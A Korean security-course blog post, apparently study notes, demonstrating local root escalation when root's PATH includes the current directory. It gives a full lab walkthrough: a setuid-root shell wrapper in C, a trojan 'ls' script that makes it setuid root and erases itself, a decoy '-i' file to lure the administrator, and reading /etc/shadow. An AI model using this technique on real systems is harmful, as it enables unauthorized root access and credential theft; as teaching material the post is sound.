root 사용자의 PATH 변수 설정에
'현재 디렉토리(.)'가 설정 되어 있다면
일반 사용자는 이 취약점을 이용하여 root 권한을 따낼 수 있다.
일반 사용자가 root 사용자에 의한 프로그램 실행
(주의) 관리자(EX:root)의 PATH 변수 설정은 현재 디렉토리가 포함되어 있으면 안된다.
■ 관리자의 잘못된 PATH 변수 설정 예
PATH=.:/bin:/usr/bin:/usr/sbin
PATH=/bin:/usr/bin:/usr/sbin:.
PATH=/bin:/usr/bin:.:/usr/sbin
PATH=:/bin:/usr/bin:/usr/sbin
PATH=/bin:/usr/bin:/usr/sbin:
PATH=/bin::/usr/bin:/usr/sbin
PATH 변수에 대해서
- 명령어가 있는 디렉토리를 선언할 때 사용하는 변수
# ls
(절대경로) # /bin/ls
(상대경로) # cd /bin
# ./ls
(root 사용자)
[TERM1] root 사용자의 윈도우
# unalias ls
#
# useradd hacker
# passwd hacker (# echo hacker | passwd --stdin hacker)
Changing password for user hacker. New UNIX password: (hacker) BAD PASSWORD: it is based on a dictionary word Retype new UNIX password: (hacker) passwd: all authentication tokens updated successfully. |
# export PATH=.:$PATH
# echo $PATH
.:/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin |
(Hacker 사용자)
[TERM2] hacker 사용자의 윈도우
# telnet localhost
hacker 사용자로 로그인
$ id
uid=503(hacker) gid=503(hacker) groups=503(hacker) |
$ pwd
/home/hacker |
$ vi /tmp/.hacker.c
#include<sys/types.h> #include<unistd.h> #include<stdio.h>
int main() { setuid(0); setgid(0); system("/bin/bash"); } |
$ gcc -o /tmp/.hacker /tmp/.hacker.c
$ ls -l /tmp/.hacker
-rwxrwxr-x 1 hacker hacker 5149 Sep 16 13:13 /tmp/.hacker |
$ cd
$ vi ls
#!/bin/bash
chown root /tmp/.hacker chmod u+s /tmp/.hacker
rm -f $0 rm -f /tmp/.hacker.c
/bin/ls $* |
$ chmod 755 ls
$
$ cat > -i
Your System Hacking!!!!! <CTRL + D> |
$ ls
-i ls |
=====> 관리자 Call (도움 요청 내용: '-i' 파일을 지울수 없다.)
(root 사용자)
[TERM1] root 사용자의 윈도우
# cd ~hacker (# cd /home/hacker)
# ls
-> ① PATH 변수 참조
-> ② 현재디렉토리 검색
-> ③ 현재디렉토리 밑에 있는 ls 명령어 수행
# rm -i
# rm \-i
# rm '-i'
# rm "-i"
[참고] # find . -inum 450 -type f -exec rm -f {} \;
(Hacker 사용자)
[TERM2] hacker 사용자의 윈도우
$ ls -l /tmp/.hacker
-rwsrwxr-x 1 root hacker 5149 Sep 16 09:23 /tmp/.hacker |
$ /tmp/.hacker
$ id -a
uid=0(root) gid=0(root) groups=503(hacker) |
$ cat /etc/shadow
-> 정상적으로 내용이 보인다.
$ exit
#
'정보보안공부 > 정보보안전문과정' 카테고리의 다른 글
정보보안 과정 Day98: 주통 U-36~40 / 서비스 관리 점검 스크립트 제작 (0) | 2021.01.27 |
---|---|
정보보안 과정 DAY97-2: (주통) U-16, 17, 24 파일 및 디렉토리 관리 시작 (0) | 2021.01.25 |
정보보안 과정 DAY97: (주통) 계정관리 U-13~15 스크립트 제작 / 계정관리 종료 (0) | 2021.01.25 |
정보보안 과정 Day94-2 : PAM 이론 실습 (0) | 2021.01.22 |
정보보안 과정 Day96-1: (주통)계정관리 U-10~12 스크립트 제작 (0) | 2021.01.22 |